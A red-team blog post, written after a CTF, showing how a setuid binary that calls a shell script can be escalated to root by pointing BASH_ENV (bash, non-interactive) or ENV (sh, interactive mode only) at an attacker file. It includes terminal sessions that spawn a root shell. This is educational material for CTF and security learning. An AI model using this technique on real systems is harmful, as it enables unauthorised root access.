keyboard_arrow_up

title: Forgotten Environment Variable
date: Jun 07, 2024
tags: cheatsheets redteam privesc


Introduction

During the third edition of Hacky'Nov, I realized during the competition that a challenge I'd prepared required very few resources to solve.

Yet it's a privesc that's extremely simple to exploit, but very poorly documented.

Let's delve into environment variables operating in interactive and non-interactive modes and see what they REALLY mean.

Scenario

Imagine the following C code calling a script to run as root:

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
        setreuid(geteuid(), geteuid());
        system("./script.sh");
}

Here is the script called

#!/bin/bash

# Message for the user
/bin/whoami
/bin/echo "Checking the condition..."

# Condition that is always false
if [ 1 -eq 2 ]; then
    /bin/echo "This condition is true."
else
    /bin/echo "False..."
    exit
fi

# End of the script
echo "End of the script."

Here we can see that it would be possible to exploit the last echo, but impossible to bypass the condition.

BASH_ENV

A look at bash's manual shows this information.

When Bash is started non-interactively, to run a shell script, for example, it looks for the variable BASH_ENV in the environment, expands its value if it appears there, and uses the expanded value as the name of a file to read and execute.

The equivalent code is :

if [ -n "$BASH_ENV" ]; then . "$BASH_ENV"; fi

If we follow this logic, all we need to do is declare this environment variable to run any script:

lololekik@srv441507:~/env$ ls -lisa vulnexec
272703 20 -rwsr-xr-x 1 root root 16720 Jun  7 07:32 vulnexec
lololekik@srv441507:~/env$ echo "/bin/bash" > exploit.sh 
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh ./vulnexec 
root@srv441507:~/env# whoami && id
root
uid=0(root) gid=1000(lololekik) groups=1000(lololekik),27(sudo),997(docker)
root@srv441507:~/env# exit
exit
root
Checking the condition...
False...

The BASH_ENV is therefore used to load other scripts before the non-interactive execution of a called script.

Now that we know that, let's try to go a step further.

Is it possible to use BASH_ENV in all our scripts?

ENV

Let's take the same C code, but replace our bash with sh.

#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
        setreuid(geteuid(), geteuid());
        system("/bin/sh /home/lololekik/env/script.sh");
}

Now let's compile this code and try to exploit BASH_ENV with an sh script.

lololekik@srv441507:~/env$ gcc exec.c -o exec && sudo chown root:root exec && sudo chmod u+s exec
[sudo] password for lololekik: 
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh ./exec 
root
Checking the condition...
False...
lololekik@srv441507:~/env$ 

Here we can see that it doesn't work. Indeed, if we look a little further in the bash and sh documentation, we can see that the alternative to BASH_ENV in sh is ENV.

However, if you try this, it doesn't work.

lololekik@srv441507:~/env$ ENV=./exploit.sh ./exec 
root
Checking the condition...
False...
lololekik@srv441507:~/env$ 

If you look closely, you'll see that there's a big difference in the documentation between bash and sh.

When invoked as an interactive shell with the name sh, Bash looks for the variable ENV, expands its value if it is defined, and uses the expanded value as the name of a file to read and execute.

bash will execute BASH_ENV when run in non-interactive mode, whereas sh will execute ENV only in interactive mode.

This script running in non-interactive mode cannot therefore be operated with sh.

But let's see in which cases it is possible to exploit the ENV variable in an interactive shell.

Shell interactif vs non interactif

From my initial research, I thought that a shell could “switch” to interactive mode as soon as human intervention was required to complete the script.

So I quickly made the following script to try and exploit it:

#!/bin/sh

# Prompt for a password and compare its hash
check_password() {
  echo -n "Enter your password: "
  stty -echo
  read password
  stty echo
  echo

  # Compute the SHA-256 hash of the entered password
  password_hash=$(echo -n "$password" | sha256sum | awk '{print $1}')

  # Predefined hash to compare against (example: hash of "StrongP@ssw0rd!")
  PREDEFINED_HASH="6e30ecb751cedbafbb0c29ddac7d55cfe6a39c6e022db6ac13ad2658451e2b4b"

  # Compare the computed hash with the predefined hash
  if [ "$password_hash" = "$PREDEFINED_HASH" ]; then
    echo "Password is correct."
  else
    echo "Password is incorrect."
  fi
}

# Call the function to check the password
check_password

The idea here is not to bypass the password condition, but to call arbitrary code with ENV.

To do this, we'll try to display a message before the script is executed:

lololekik@srv441507:~/env$ echo "echo 'ENV File loaded : pwn :) '" > exploit.sh 
lololekik@srv441507:~/env$ chmod +x exploit.sh 
lololekik@srv441507:~/env$ ENV=./exploit.sh ./checkpassword.sh 
Enter your password: 
Password is incorrect.
lololekik@srv441507:~/env$ export ENV=./exploit.sh
lololekik@srv441507:~/env$ sh -c "./checkpassword.sh"
Enter your password: 
Password is incorrect.
lololekik@srv441507:~/env$ sh -c "whoami"
lololekik
lololekik@srv441507:~/env$ ENV=./exploit.sh sh checkpassword.sh 
Enter your password: 
Password is incorrect.
lololekik@srv441507:~/env$ 

Here we see that it doesn't work even if we change the way we call our code.

That's because we're not calling our shell in an interactive mode. Just because there's interaction with the user doesn't mean our shell will be “interactive”.

However, if we specify the -i option, we'll enter an interactive mode.

lololekik@srv441507:~/env$ export ENV=./exploit.sh
lololekik@srv441507:~/env$ sh -i ./checkpassword.sh 
ENV File loaded : pwn :) 
$ $ $ $ > > > > > > > > > > > > > > > > > > > $ $ $ Enter your password: 
Password is incorrect.
$ 
lololekik@srv441507:~/env$ sh -ci "whoami"
ENV File loaded : pwn :) 
lololekik

So under what conditions should the ENV environment variable be exploited?

The ENV environment variable can be used if scripts are called with the -i option in cli or in the shebang.

lololekik@srv441507:~/env$ head checkpassword.sh -n 1
#!/bin/sh -i
lololekik@srv441507:~/env$ ./checkpassword.sh 
ENV File loaded : pwn :) 
$ $ $ $ > > > > > > > > > > > > > > > > > > > $ $ $ Enter your password: 
Password is incorrect.
$ 

Interactive mode does not work with bash.

lololekik@srv441507:~/env$ ENV=./exploit.sh bash -i checkpassword.sh 
Enter your password: 
Password is incorrect.
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh bash -i checkpassword.sh 
Enter your password: 
Password is incorrect.
lololekik@srv441507:~/env$ BASH_ENV=./exploit.sh bash checkpassword.sh 
ENV File loaded : pwn :) 
Enter your password: 
Password is incorrect.
lololekik@srv441507:~/env$ 

Conclusion

When searching for privesc, there may be environment variables that could be interesting to exploit.

Always ask yourself what mode a program is running in, to see if you can load arbitrary scripts.

Note that this attack only makes sense if a program is executed with different rights from your own.